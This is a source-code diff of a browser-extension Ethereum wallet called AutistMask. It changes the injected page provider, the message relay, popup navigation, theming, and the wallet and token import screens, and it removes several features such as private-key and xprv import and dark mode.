});
})();
// Relay requests from the page to the background script
@@ -51,31 +39,27 @@ window.addEventListener("message", (event) => {
if (event.data?.type !== "AUTISTMASK_REQUEST") return;
const { id, method, params } = event.data;
sendMessage({
type: "AUTISTMASK_RPC",
id,
method,
params,
origin: location.origin,
})
.then((response) => {
const runtime =
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
runtime.sendMessage(
{ type: "AUTISTMASK_RPC", id, method, params, origin: location.origin },
(response) => {
if (response) {
window.postMessage(
{ type: "AUTISTMASK_RESPONSE", id, ...response },
"*",
);
}
})
.catch(() => {
// No receiver: the background context is gone. The page's promise
// stays pending, which is what it did before this was a promise
// at all; turning it into a rejection here is a change to what
// dApps see and belongs to its own issue.
});
},
);
});
// Listen for events pushed from the background (e.g. accountsChanged)
runtimeApi().onMessage.addListener((msg) => {
const runtime =
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
runtime.onMessage.addListener((msg) => {
if (msg.type === "AUTISTMASK_EVENT") {
window.postMessage(
{

View File

@@ -2,48 +2,12 @@
// Creates window.ethereum (EIP-1193 provider) and announces via EIP-6963.
(function () {
// Defaults to mainnet; updated dynamically via eth_chainId on init and
// chainChanged events from the extension.
let currentChainId = "0x1";
let currentNetworkVersion = "1";
const CHAIN_ID = "0x1"; // Ethereum mainnet
const listeners = {};
let nextId = 1;
const pending = {};
// EIP-1193 ProviderRpcError: `code`, `message`, optional `data`. A class
// rather than properties bolted onto an Error because this object crosses
// no boundary after construction — it is built in the page's own realm and
// handed straight to the caller's catch — so the prototype survives and
// `error.name` is a stable thing for a dApp to see.
class ProviderRpcError extends Error {
constructor(code, message, data) {
super(message);
this.name = "ProviderRpcError";
this.code = code;
if (data !== undefined) this.data = data;
}
}
// Rebuild a boundary error as the error the page catches, carrying the
// code (and data) the extension reported. Without this a dApp cannot tell
// a user's refusal (4001) from a wallet that broke, and retries or shows
// an error instead of accepting the refusal.
//
// Whatever code arrived is passed through verbatim rather than being
// matched against a list: the extension emits 4001, 4100 and 4902 today,
// and a code this file has never heard of is still the truth about what
// happened. An error reported with no code at all stays a plain Error —
// a ProviderRpcError whose `code` is undefined would advertise a
// conformance it does not have. `message` is untouched in every case.
function toPageError(error) {
const message = (error && error.message) || "Request failed";
if (error && error.code !== undefined && error.code !== null) {
return new ProviderRpcError(error.code, message, error.data);
}
return new Error(message);
}
// Listen for responses from the content script
window.addEventListener("message", function onUuid(event) {
if (event.source !== window) return;
@@ -53,7 +17,7 @@
if (!p) return;
delete pending[id];
if (error) {
p.reject(toPageError(error));
p.reject(new Error(error.message || "Request failed"));
} else {
p.resolve(result);
}
@@ -64,12 +28,6 @@
if (event.source !== window) return;
if (event.data?.type !== "AUTISTMASK_EVENT") return;
const { eventName, data } = event.data;
if (eventName === "chainChanged") {
currentChainId = data;
currentNetworkVersion = String(parseInt(data, 16));
provider.chainId = currentChainId;
provider.networkVersion = currentNetworkVersion;
}
emit(eventName, data);
});
@@ -79,7 +37,7 @@
for (const cb of cbs) {
try {
cb(data);
} catch {
} catch (e) {
// ignore listener errors
}
}
@@ -99,8 +57,8 @@
const provider = {
isAutistMask: true,
isMetaMask: true, // compatibility — many dApps check this
chainId: currentChainId,
networkVersion: currentNetworkVersion,
chainId: CHAIN_ID,
networkVersion: "1",
selectedAddress: null,
async request(args) {
@@ -117,12 +75,6 @@
? result[0]
: null;
}
if (args.method === "eth_chainId" && result) {
currentChainId = result;
currentNetworkVersion = String(parseInt(result, 16));
provider.chainId = currentChainId;
provider.networkVersion = currentNetworkVersion;
}
return result;
},
@@ -179,8 +131,7 @@
return this;
},
// Some dApps (wagmi) probe this object to decide whether the provider
// supports the de-facto standard extras. The name is theirs, not ours.
// Some dApps (wagmi) check this to confirm MetaMask-like behavior
_metamask: {
isUnlocked() {
return Promise.resolve(provider.selectedAddress !== null);
@@ -238,19 +189,4 @@
window.addEventListener("eip6963:requestProvider", announceProvider);
announceProvider();
// Fetch the current chain ID from the extension on load so the provider
// reflects the selected network immediately (covers Sepolia etc.).
sendRequest({ method: "eth_chainId", params: [] })
.then((chainId) => {
if (chainId) {
currentChainId = chainId;
currentNetworkVersion = String(parseInt(chainId, 16));
provider.chainId = currentChainId;
provider.networkVersion = currentNetworkVersion;
}
})
.catch(() => {
// Best-effort — keep defaults.
});
})();

View File

@@ -1,42 +0,0 @@
// Parsing for the dust threshold field in Settings.
//
// Pure: no DOM, no state, so the accepted set can be unit tested directly
// instead of through the settings view.
//
// Accepted input is plain decimal digits only, meaning a whole number of
// gwei, zero or greater. Zero is a real setting: it hides nothing.
//
// Deliberately rejected, not coerced:
// "" nothing to save
// "-1" a negative threshold has no meaning
// "1.5" fractional gwei is not a threshold the filter can use
// "100 gwei" the unit is already printed beside the field
// "0x10" hex, which Number() would silently read as 16
// "1e3" exponent notation, which Number() would silently read as 1000
//
// The last two are the reason this is a digit test and not a Number() test.
// Number() accepts both, and accepting them would put a number in the field
// that the user did not type — the same silent substitution the visible
// rejection message exists to end.
// Must render on ONE line of #flash-msg, whose reserved height
// (min-h-[1.25rem]) is exactly one line at text-xs. A string long enough to
// wrap to two lines pushes the settings view down, which the No Layout Shift
// policy forbids. Do not lengthen this without re-running the layout test in
// tests/e2e/run.js, which measures the flash line and goes red on a shift.
const DUST_THRESHOLD_MESSAGE =
"Please enter a whole number of gwei, zero or greater.";
// Returns the threshold in gwei, or null if the input is not one.
function parseDustThresholdGwei(raw) {
if (typeof raw !== "string") return null;
const trimmed = raw.trim();
if (!/^[0-9]+$/.test(trimmed)) return null;
const val = Number(trimmed);
// A run of digits long enough to exceed Number's exact integer range
// would round on the way in, so it is not a threshold we can store.
if (!Number.isSafeInteger(val)) return null;
return val;
}
module.exports = { DUST_THRESHOLD_MESSAGE, parseDustThresholdGwei };

File diff suppressed because it is too large Load Diff

View File

@@ -1,29 +1,16 @@
// AutistMask popup entry point.
// Loads state, initializes views, triggers first render.
const { DEBUG } = require("../shared/constants");
const { state, saveState, loadState } = require("../shared/state");
const { StateUnusableError } = require("../shared/stateSchema");
const { setRuntimeDebug } = require("../shared/log");
const { refreshPrices } = require("../shared/prices");
const { refreshBalances } = require("../shared/balances");
const {
$,
showView,
updateDebugBanner,
setBackRenderer,
pushCurrentView,
goBack,
} = require("./views/helpers");
const { applyTheme } = require("./theme");
// Renders a view the popup lands on without having navigated to it forward:
// on restore here, and on Back. Only the views that can be fully re-rendered
// from persisted state (RESTORABLE_VIEWS, src/shared/restorableViews.js) go
// through it; anything else falls back to the nearest restorable parent.
const { renderView, makeBackRenderer } = require("./viewRouter");
const { $, showView } = require("./views/helpers");
const home = require("./views/home");
const welcome = require("./views/welcome");
const addWallet = require("./views/addWallet");
const importKey = require("./views/importKey");
const addressDetail = require("./views/addressDetail");
const addressToken = require("./views/addressToken");
const send = require("./views/send");
@@ -34,9 +21,7 @@ const receive = require("./views/receive");
const addToken = require("./views/addToken");
const settings = require("./views/settings");
const settingsAddToken = require("./views/settingsAddToken");
const deleteAddress = require("./views/deleteAddress");
const approval = require("./views/approval");
const stateRecovery = require("./views/stateRecovery");
function renderWalletList() {
home.render(ctx);
@@ -55,7 +40,6 @@ async function doRefreshAndRender() {
state.rpcUrl,
state.blockscoutUrl,
state.trackedTokens,
state.networkId,
),
]);
state.lastBalanceRefresh = Date.now();
@@ -69,65 +53,105 @@ async function doRefreshAndRender() {
const ctx = {
renderWalletList,
doRefreshAndRender,
showAddWalletView: () => {
pushCurrentView();
addWallet.show();
},
showAddressDetail: () => {
pushCurrentView();
addressDetail.show();
},
showAddressToken: () => {
pushCurrentView();
addressToken.show();
},
showAddTokenView: () => {
pushCurrentView();
addToken.show();
},
showConfirmTx: (txInfo) => {
pushCurrentView();
confirmTx.show(txInfo);
},
showReceive: () => {
pushCurrentView();
receive.show();
},
showTransactionDetail: (tx) => {
pushCurrentView();
transactionDetail.show(tx);
},
showSettingsView: () => {
pushCurrentView();
settings.show();
},
showSettingsAddTokenView: () => {
pushCurrentView();
settingsAddToken.show();
},
showDeleteAddress: (walletIdx, addrIdx) => {
pushCurrentView();
deleteAddress.show(walletIdx, addrIdx);
},
showAddWalletView: () => addWallet.show(),
showImportKeyView: () => importKey.show(),
showAddressDetail: () => addressDetail.show(),
showAddressToken: () => addressToken.show(),
showAddTokenView: () => addToken.show(),
showConfirmTx: (txInfo) => confirmTx.show(txInfo),
showReceive: () => receive.show(),
showTransactionDetail: (tx) => transactionDetail.show(tx),
showSettingsView: () => settings.show(),
showSettingsAddTokenView: () => settingsAddToken.show(),
};
// The view modules the router renders through, keyed as it expects them.
const viewModules = {
main: { show: () => fallbackView() },
addressDetail,
addressToken,
receive,
settings,
settingsAddToken,
confirmTx,
transactionDetail,
txStatus,
};
// Views that can be fully re-rendered from persisted state.
// All others fall back to the nearest restorable parent.
const RESTORABLE_VIEWS = new Set([
"main",
"address",
"address-token",
"receive",
"settings",
"settings-addtoken",
"transaction",
"success-tx",
"error-tx",
]);
function needsAddress(view) {
return (
view === "address" ||
view === "address-token" ||
view === "receive" ||
view === "transaction"
);
}
function hasValidAddress() {
return (
state.selectedWallet !== null &&
state.selectedAddress !== null &&
state.wallets[state.selectedWallet] &&
state.wallets[state.selectedWallet].addresses[state.selectedAddress]
);
}
function restoreView() {
if (!renderView(state.currentView, state, viewModules)) {
const view = state.currentView;
if (!view || !RESTORABLE_VIEWS.has(view)) {
return fallbackView();
}
if (needsAddress(view) && !hasValidAddress()) {
return fallbackView();
}
if (view === "address-token" && !state.selectedToken) {
return fallbackView();
}
switch (view) {
case "address":
addressDetail.show();
break;
case "address-token":
addressToken.show();
break;
case "receive":
receive.show();
break;
case "settings":
settings.show();
break;
case "settings-addtoken":
settingsAddToken.show();
break;
case "transaction":
if (state.viewData && state.viewData.tx) {
transactionDetail.render();
} else {
fallbackView();
}
break;
case "success-tx":
if (state.viewData && state.viewData.hash) {
txStatus.renderSuccess();
} else {
fallbackView();
}
break;
case "error-tx":
if (state.viewData && state.viewData.message) {
txStatus.renderError();
} else {
fallbackView();
}
break;
default:
fallbackView();
break;
}
}
function fallbackView() {
@@ -136,29 +160,16 @@ function fallbackView() {
}
async function init() {
try {
if (DEBUG) {
const banner = document.createElement("div");
banner.id = "debug-banner";
banner.textContent = "DEBUG / INSECURE";
banner.style.cssText =
"background:#c00;color:#fff;text-align:center;font-size:10px;padding:1px 0;font-family:monospace;position:sticky;top:0;z-index:9999;";
document.body.prepend(banner);
}
await loadState();
} catch (e) {
// A profile this build cannot read is the one failure that must not
// fall through to the rest of init(). It used to: the load "succeeded"
// on a record nothing had validated, and the first dereference below
// threw, leaving a popup with no view, no message and no control on
// it, and no way out of the wallet from inside the product
// (https://git.eeqj.de/sneak/AutistMask/issues/311). Now the load
// refuses, and this is the screen that says so.
if (e instanceof StateUnusableError) {
stateRecovery.show(e);
return;
}
throw e;
}
applyTheme(state.theme);
// Sync runtime debug flag from persisted state before first render
setRuntimeDebug(state.debugMode);
// Create the debug/testnet banner if needed (uses runtime debug state)
updateDebugBanner();
// Auto-default active address
if (
@@ -178,12 +189,6 @@ async function init() {
const params = new URLSearchParams(window.location.search);
const approvalId = params.get("approval");
if (approvalId) {
// Deliberately not awaited, and deliberately not .catch()ed. show()
// is async, so a throw past its first await surfaces as an unhandled
// rejection rather than an uncaught error — measured as still failing
// the run on both harnesses (Playwright `pageerror`, and the Firefox
// driver's console-service drain), so nothing is lost by leaving it
// on that path.
approval.show(approvalId);
showView("approve-site");
return;
@@ -195,17 +200,16 @@ async function init() {
.getElementById("view-settings")
.classList.contains("hidden")
) {
goBack();
renderWalletList();
showView("main");
return;
}
pushCurrentView();
settings.show();
});
setBackRenderer(makeBackRenderer(state, viewModules));
welcome.init(ctx);
addWallet.init(ctx);
importKey.init(ctx);
home.init(ctx);
addressDetail.init(ctx);
addressToken.init(ctx);
@@ -216,7 +220,6 @@ async function init() {
addToken.init(ctx);
settings.init(ctx);
settingsAddToken.init(ctx);
deleteAddress.init(ctx);
if (!state.hasWallet) {
showView("welcome");

View File

@@ -10,37 +10,12 @@
--color-border: #000000;
--color-border-light: #cccccc;
--color-hover: #eeeeee;
--color-well: #e8e8e8;
--color-well: #f5f5f5;
--color-danger-well: #fef2f2;
--color-section: #dddddd;
}
html.dark {
--color-bg: #000000;
--color-fg: #ffffff;
--color-muted: #aaaaaa;
--color-border: #ffffff;
--color-border-light: #444444;
--color-hover: #222222;
--color-well: #1a1a1a;
--color-danger-well: #2a0a0a;
--color-section: #2a2a2a;
}
body {
width: 396px;
overflow-x: hidden;
}
/* Copy-flash feedback: inverts colors then fades back */
.copy-flash-active {
background-color: var(--color-fg) !important;
color: var(--color-bg) !important;
transition: none;
}
.copy-flash-fade {
transition:
background-color 225ms ease-out,
color 225ms ease-out;
}

View File

@@ -1,33 +0,0 @@
// Theme management: applies light/dark class to <html> based on preference.
let mediaQuery = null;
let mediaHandler = null;
function applyTheme(theme) {
// Clean up previous system listener
if (mediaQuery && mediaHandler) {
mediaQuery.removeEventListener("change", mediaHandler);
mediaHandler = null;
}
if (theme === "dark") {
document.documentElement.classList.add("dark");
} else if (theme === "light") {
document.documentElement.classList.remove("dark");
} else {
// system
mediaQuery = window.matchMedia("(prefers-color-scheme: dark)");
const update = () => {
if (mediaQuery.matches) {
document.documentElement.classList.add("dark");
} else {
document.documentElement.classList.remove("dark");
}
};
mediaHandler = update;
mediaQuery.addEventListener("change", update);
update();
}
}
module.exports = { applyTheme };

View File

@@ -1,167 +0,0 @@
// Rendering a view the popup lands on without having navigated to it
// forward: on restore, and on Back. In both cases the view may never have
// been rendered in this page load — a reopened popup renders only the
// wallet list and the view it restores onto, so every other view is still
// the blank static template from index.html — so unhiding it is not enough.
//
// Forward navigation renders as it goes and must NOT come through here:
// rendering a second time would re-fetch and clobber whatever the view has
// in flight.
//
// The view modules are injected and nothing here touches the DOM, so the
// dispatch and its data guards can be tested directly; src/popup/index.js
// cannot be required outside a browser.
const { RESTORABLE_VIEWS } = require("../shared/restorableViews");
// The views this page load has rendered.
//
// The Back path cannot otherwise tell its two cases apart. A view the popup
// never rendered is still the blank template from index.html and has to be
// rendered; a view already on the page must NOT be rendered again, because
// a second render re-fetches and overwrites whatever the user has typed
// into it and not yet saved.
//
// Registration is showView() in views/helpers.js, which is the last thing
// every render path runs — restoreView()'s, the Back path's, and every
// forward show(). That is the point of putting it there rather than in the
// individual views: a view added later registers itself with no one having
// to remember it, so this cannot decay.
//
// Module scope is page-load scope: the popup loads this module once per
// page load, and a reopened popup gets a fresh, empty set — which is
// exactly the state that makes the Back path render.
const renderedViews = new Set();
function markViewRendered(view) {
if (view) renderedViews.add(view);
}
// Begin a fresh page-load scope. The popup gets one by being loaded; the
// unit tests, which simulate several page loads against one module
// instance, ask for one.
function resetRenderedViews() {
renderedViews.clear();
}
// Home is the exception: Back re-renders it every time, which is what the
// popup did before this router existed (index.js registered
// renderWalletList() as setRenderMain(), and goBack() called it on every
// Back onto "main"). It must stay that way — the wallet list has to reflect
// what changed while the user was away from it, such as a wallet renamed or
// an address removed in Settings — and Home holds no unsaved input to lose.
const ALWAYS_RENDER_ON_BACK = new Set(["main"]);
// Views that render an address the user picked and cannot be rendered
// without one.
const ADDRESS_VIEWS = new Set([
"address",
"address-token",
"receive",
"transaction",
]);
function needsAddress(view) {
return ADDRESS_VIEWS.has(view);
}
function hasValidAddress(state) {
return Boolean(
state.selectedWallet !== null &&
state.selectedAddress !== null &&
state.wallets[state.selectedWallet] &&
state.wallets[state.selectedWallet].addresses[state.selectedAddress],
);
}
// Render `view` from persisted state. Each view module shows itself, so a
// true return means the view is both rendered and on screen.
//
// Returns false when the view is not one the popup renders from state, or
// when the state it would render is gone — a token no longer selected, a
// transaction no longer persisted. The caller falls back rather than
// putting an empty template on screen.
function renderView(view, state, views) {
if (!view || !RESTORABLE_VIEWS.has(view)) return false;
if (needsAddress(view) && !hasValidAddress(state)) return false;
if (view === "address-token" && !state.selectedToken) return false;
const data = state.viewData || {};
switch (view) {
case "main":
views.main.show();
return true;
case "address":
views.addressDetail.show();
return true;
case "address-token":
views.addressToken.show();
return true;
case "receive":
views.receive.show();
return true;
case "settings":
views.settings.show();
return true;
case "settings-addtoken":
views.settingsAddToken.show();
return true;
case "confirm-tx":
if (!data.pendingTx) return false;
views.confirmTx.restore();
return true;
case "transaction":
if (!data.tx) return false;
views.transactionDetail.render();
return true;
case "wait-tx":
// Resumes the receipt poll from the persisted broadcast time,
// and answers false when there is nothing resumable left.
return Boolean(views.txStatus.restoreWait());
case "success-tx":
if (!data.hash) return false;
views.txStatus.renderSuccess();
return true;
case "error-tx":
if (!data.message) return false;
views.txStatus.renderError();
return true;
default:
return false;
}
}
// The Back-path renderer, registered with setBackRenderer() in
// views/helpers.js.
//
// Returns false — leaving goBack() to unhide the view, as it always did —
// in the two cases where the view is known to be on the page already:
//
// - It is not one the popup renders from persisted state. The restored
// stack is filtered against RESTORABLE_VIEWS, so such a view can only
// be on the stack from this page load, where forward navigation
// rendered it on the way in.
// - This page load has rendered it. Re-rendering would re-fetch and
// clobber what it holds; Home is rendered anyway, see above.
//
// What is left is the case the router exists for: a view on the stack that
// this page load has never rendered, whose template is still blank.
function makeBackRenderer(state, views) {
return function renderBack(view) {
if (!RESTORABLE_VIEWS.has(view)) return false;
if (renderedViews.has(view) && !ALWAYS_RENDER_ON_BACK.has(view)) {
return false;
}
if (!renderView(view, state, views)) {
views.main.show();
}
return true;
};
}
module.exports = {
renderView,
makeBackRenderer,
markViewRendered,
resetRenderedViews,
};

View File

@@ -1,4 +1,4 @@
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
const { $, showView, showFlash } = require("./helpers");
const { getTopTokens } = require("../../shared/tokenList");
const { state, saveState } = require("../../shared/state");
const { lookupTokenInfo } = require("../../shared/balances");
@@ -7,13 +7,12 @@ const { log } = require("../../shared/log");
function show() {
$("add-token-address").value = "";
$("add-token-info").textContent = "";
$("add-token-info").style.visibility = "hidden";
$("add-token-info").classList.add("hidden");
const list = $("common-token-list");
list.innerHTML = getTopTokens(25)
.map(
(t) =>
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`,
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
)
.join("");
list.querySelectorAll(".common-token").forEach((btn) => {
@@ -46,14 +45,10 @@ function init(ctx) {
}
const infoEl = $("add-token-info");
infoEl.textContent = "Looking up token...";
infoEl.style.visibility = "visible";
infoEl.classList.remove("hidden");
log.debugf("Looking up token contract", contractAddr);
try {
const info = await lookupTokenInfo(
contractAddr,
state.rpcUrl,
state.networkId,
);
const info = await lookupTokenInfo(contractAddr, state.rpcUrl);
log.infof("Adding token", info.symbol, contractAddr);
state.trackedTokens.push({
address: contractAddr,
@@ -63,24 +58,16 @@ function init(ctx) {
});
await saveState();
ctx.doRefreshAndRender();
// Pop the stack (back to address detail) and re-render it
// so the newly added token is visible immediately.
if (state.viewStack.length > 0) {
state.viewStack.pop();
}
require("./addressDetail").show();
ctx.showAddressDetail();
} catch (e) {
const detail = e.shortMessage || e.message || String(e);
log.errorf("Token lookup failed for", contractAddr, detail);
showFlash(detail);
infoEl.textContent = "";
infoEl.style.visibility = "hidden";
infoEl.classList.add("hidden");
}
});
$("btn-add-token-back").addEventListener("click", () => {
goBack();
});
$("btn-add-token-back").addEventListener("click", ctx.showAddressDetail);
}
module.exports = { init, show };

View File

@@ -1,138 +1,41 @@
const {
$,
showView,
showFlash,
goBack,
clearViewStack,
onViewLeave,
} = require("./helpers");
const { $, showView, showFlash, showError, hideError } = require("./helpers");
const {
generateMnemonic,
hdWalletFromMnemonic,
isValidMnemonic,
addressFromPrivateKey,
hdWalletFromXprv,
isValidXprv,
isMasterExtendedKey,
} = require("../../shared/wallet");
const { encryptWithPassword } = require("../../shared/vault");
const { state, saveState } = require("../../shared/state");
const { scanForAddresses } = require("../../shared/balances");
/**
* Check if an address already exists in ANY wallet (hd, xprv, or key).
* Returns the wallet object if found, or undefined.
*/
function findWalletByAddress(addr) {
const lower = addr.toLowerCase();
return state.wallets.find((w) =>
w.addresses.some((a) => a.address.toLowerCase() === lower),
);
}
/**
* Check if an xpub already exists in any HD-type wallet (hd or xprv).
* Returns the wallet object if found, or undefined.
*/
function findWalletByXpub(xpub) {
return state.wallets.find((w) => w.xpub && w.xpub === xpub);
}
let currentMode = "mnemonic";
const MODES = ["mnemonic", "privkey", "xprv"];
// Each hint names what this import mode's own backup is, because a key
// wallet and an xprv wallet have no recovery phrase to point the user at.
// All three say the same thing about the password: it is gone for good if
// it is forgotten. That sentence is the only warning the user gets before
// the wallet exists, and without it the lost-password route in
// views/deleteWallet.js is the first they hear of it.
//
// Keep the three within a couple of characters of each other in length.
// The hint sits directly above the password fields and the tabs swap it in
// place, so a wording that wraps to a different number of lines would move
// those fields under the pointer; the reserved height on
// #add-wallet-password-hint is the other half of that guarantee.
const PASSWORD_HINTS = {
mnemonic:
"This password encrypts your recovery phrase on this device. You will need it to send funds. It cannot be recovered or reset, so keep your recovery phrase written down: it is the only backup of this wallet.",
privkey:
"This password encrypts your private key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your private key saved somewhere safe: it is the only backup of this wallet.",
xprv: "This password encrypts your key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your extended private key saved somewhere safe: it is the only backup of this wallet.",
};
function switchMode(mode) {
currentMode = mode;
for (const m of MODES) {
$("add-wallet-section-" + m).classList.toggle("hidden", m !== mode);
const tab = $("tab-" + m);
const isActive = m === mode;
// Active: bold, solid border on top/sides, no bottom border (connects to content)
tab.classList.toggle("font-bold", isActive);
tab.classList.toggle("border-solid", isActive);
tab.classList.toggle("border-border", isActive);
tab.classList.toggle("border-b-bg", isActive);
tab.classList.toggle("bg-bg", isActive);
// Inactive: muted text, dashed border on top/sides, transparent bottom, hover invert
tab.classList.toggle("text-muted", !isActive);
tab.classList.toggle("border-dashed", !isActive);
tab.classList.toggle("border-border-light", !isActive);
tab.classList.toggle("border-b-transparent", !isActive);
tab.classList.toggle("hover:bg-fg", !isActive);
tab.classList.toggle("hover:text-bg", !isActive);
}
$("add-wallet-password-hint").textContent = PASSWORD_HINTS[mode];
}
// Wipe the secret material this screen holds in the DOM: a generated or
// pasted recovery phrase, an imported private key or extended private key,
// and the password that would encrypt them. Registered as the view-leave
// handler as well as run on entry, so none of it survives in the hidden
// view after the user navigates away by any route, including the Settings
// gear and the import itself.
function clear() {
function show() {
$("wallet-mnemonic").value = "";
$("import-private-key").value = "";
$("import-xprv-key").value = "";
$("add-wallet-password").value = "";
$("add-wallet-password-confirm").value = "";
$("add-wallet-phrase-warning").style.visibility = "hidden";
}
function show() {
clear();
switchMode("mnemonic");
$("add-wallet-phrase-warning").classList.add("hidden");
hideError("add-wallet-error");
showView("add-wallet");
}
function validatePassword() {
const pw = $("add-wallet-password").value;
const pw2 = $("add-wallet-password-confirm").value;
if (!pw) {
showFlash("Please choose a password.");
return null;
}
if (pw.length < 12) {
showFlash("Password must be at least 12 characters.");
return null;
}
if (pw !== pw2) {
showFlash("Passwords do not match.");
return null;
}
return pw;
}
function init(ctx) {
$("btn-generate-phrase").addEventListener("click", () => {
$("wallet-mnemonic").value = generateMnemonic();
$("add-wallet-phrase-warning").classList.remove("hidden");
});
async function importMnemonic(ctx) {
$("btn-add-wallet-confirm").addEventListener("click", async () => {
const mnemonic = $("wallet-mnemonic").value.trim();
if (!mnemonic) {
showFlash("Enter a recovery phrase or press the die to generate one.");
showError(
"add-wallet-error",
"Enter a recovery phrase or press the die to generate one.",
);
return;
}
const words = mnemonic.split(/\s+/);
if (words.length !== 12 && words.length !== 24) {
showFlash(
showError(
"add-wallet-error",
"Recovery phrase must be 12 or 24 words. You entered " +
words.length +
".",
@@ -140,22 +43,44 @@ async function importMnemonic(ctx) {
return;
}
if (!isValidMnemonic(mnemonic)) {
showFlash("Invalid recovery phrase. Check for typos.");
return;
}
const pw = validatePassword();
if (!pw) return;
const { xpub, firstAddress } = hdWalletFromMnemonic(mnemonic);
const xpubDup = findWalletByXpub(xpub);
if (xpubDup) {
showFlash(
"This recovery phrase is already added (" + xpubDup.name + ").",
showError(
"add-wallet-error",
"Invalid recovery phrase. Check for typos.",
);
return;
}
const addrDup = findWalletByAddress(firstAddress);
if (addrDup) {
showFlash("Address already exists in wallet (" + addrDup.name + ").");
const pw = $("add-wallet-password").value;
const pw2 = $("add-wallet-password-confirm").value;
if (!pw) {
showError("add-wallet-error", "Please choose a password.");
return;
}
if (pw.length < 12) {
showError(
"add-wallet-error",
"Password must be at least 12 characters.",
);
return;
}
if (pw !== pw2) {
showError("add-wallet-error", "Passwords do not match.");
return;
}
const { xpub, firstAddress } = hdWalletFromMnemonic(mnemonic);
const duplicate = state.wallets.find(
(w) =>
w.type === "hd" &&
w.addresses[0] &&
w.addresses[0].address.toLowerCase() ===
firstAddress.toLowerCase(),
);
if (duplicate) {
showError(
"add-wallet-error",
"This recovery phrase is already added (" +
duplicate.name +
").",
);
return;
}
const encrypted = await encryptWithPassword(mnemonic, pw);
@@ -173,13 +98,13 @@ async function importMnemonic(ctx) {
state.wallets.push(wallet);
state.hasWallet = true;
await saveState();
clearViewStack();
ctx.renderWalletList();
hideError("add-wallet-error");
showView("main");
// Scan for used HD addresses beyond index 0.
showFlash("Scanning for addresses...", 30000);
const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
const scan = await scanForAddresses(xpub, state.rpcUrl);
if (scan.addresses.length > 1) {
wallet.addresses = scan.addresses.map((a) => ({
address: a.address,
@@ -195,156 +120,21 @@ async function importMnemonic(ctx) {
}
ctx.doRefreshAndRender();
}
async function importPrivateKey(ctx) {
const key = $("import-private-key").value.trim();
if (!key) {
showFlash("Please enter your private key.");
return;
}
let addr;
try {
addr = addressFromPrivateKey(key);
} catch {
showFlash("Invalid private key.");
return;
}
const pw = validatePassword();
if (!pw) return;
const duplicate = findWalletByAddress(addr);
if (duplicate) {
showFlash(
"This address already exists in wallet (" + duplicate.name + ").",
);
return;
}
const encrypted = await encryptWithPassword(key, pw);
const walletNum = state.wallets.length + 1;
state.wallets.push({
type: "key",
name: "Wallet " + walletNum,
encryptedSecret: encrypted,
addresses: [{ address: addr, balance: "0.0000", tokenBalances: [] }],
});
state.hasWallet = true;
await saveState();
clearViewStack();
ctx.renderWalletList();
showView("main");
ctx.doRefreshAndRender();
}
async function importXprvKey(ctx) {
const xprv = $("import-xprv-key").value.trim();
if (!xprv) {
showFlash("Please enter your extended private key.");
return;
}
if (!isValidXprv(xprv)) {
showFlash(
"That extended private key is not valid. Please check it and try again.",
);
return;
}
if (!isMasterExtendedKey(xprv)) {
showFlash(
"That is an account-level or child key, which cannot be imported. " +
"Please paste the master extended private key for the wallet.",
);
return;
}
let result;
try {
result = hdWalletFromXprv(xprv);
} catch {
showFlash(
"That extended private key is not valid. Please check it and try again.",
);
return;
}
const { xpub, firstAddress } = result;
const xpubDup = findWalletByXpub(xpub);
if (xpubDup) {
showFlash("This key is already added (" + xpubDup.name + ").");
return;
}
const addrDup = findWalletByAddress(firstAddress);
if (addrDup) {
showFlash("Address already exists in wallet (" + addrDup.name + ").");
return;
}
const pw = validatePassword();
if (!pw) return;
const encrypted = await encryptWithPassword(xprv, pw);
const walletNum = state.wallets.length + 1;
const wallet = {
type: "xprv",
name: "Wallet " + walletNum,
xpub: xpub,
encryptedSecret: encrypted,
nextIndex: 1,
addresses: [
{ address: firstAddress, balance: "0.0000", tokenBalances: [] },
],
};
state.wallets.push(wallet);
state.hasWallet = true;
await saveState();
clearViewStack();
ctx.renderWalletList();
showView("main");
// Scan for used HD addresses beyond index 0.
showFlash("Scanning for addresses...", 30000);
const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
if (scan.addresses.length > 1) {
wallet.addresses = scan.addresses.map((a) => ({
address: a.address,
balance: "0.0000",
tokenBalances: [],
}));
wallet.nextIndex = scan.nextIndex;
await saveState();
ctx.renderWalletList();
showFlash("Found " + scan.addresses.length + " addresses.");
} else {
showFlash("Ready.", 1000);
}
ctx.doRefreshAndRender();
}
function init(ctx) {
onViewLeave("add-wallet", clear);
// Tab click handlers
$("tab-mnemonic").addEventListener("click", () => switchMode("mnemonic"));
$("tab-privkey").addEventListener("click", () => switchMode("privkey"));
$("tab-xprv").addEventListener("click", () => switchMode("xprv"));
// Generate mnemonic
$("btn-generate-phrase").addEventListener("click", () => {
$("wallet-mnemonic").value = generateMnemonic();
$("add-wallet-phrase-warning").style.visibility = "visible";
});
// Import / confirm
$("btn-add-wallet-confirm").addEventListener("click", async () => {
if (currentMode === "mnemonic") {
await importMnemonic(ctx);
} else if (currentMode === "privkey") {
await importPrivateKey(ctx);
} else if (currentMode === "xprv") {
await importXprvKey(ctx);
}
});
// Back button
$("btn-add-wallet-back").addEventListener("click", () => {
goBack();
if (!state.hasWallet) {
showView("welcome");
} else {
ctx.renderWalletList();
showView("main");
}
});
$("btn-add-wallet-import-key").addEventListener(
"click",
ctx.showImportKeyView,
);
}
module.exports = { init, show };

View File

@@ -2,19 +2,16 @@ const {
$,
showView,
showFlash,
showError,
hideError,
balanceLinesForAddress,
addressDotHtml,
addressTitle,
escapeHtml,
displaySymbol,
truncateMiddle,
renderAddressHtml,
attachCopyHandlers,
goBack,
pushCurrentView,
} = require("./helpers");
const { state, saveState } = require("../../shared/state");
const { formatAddressTotal, getAddressValue } = require("../../shared/prices");
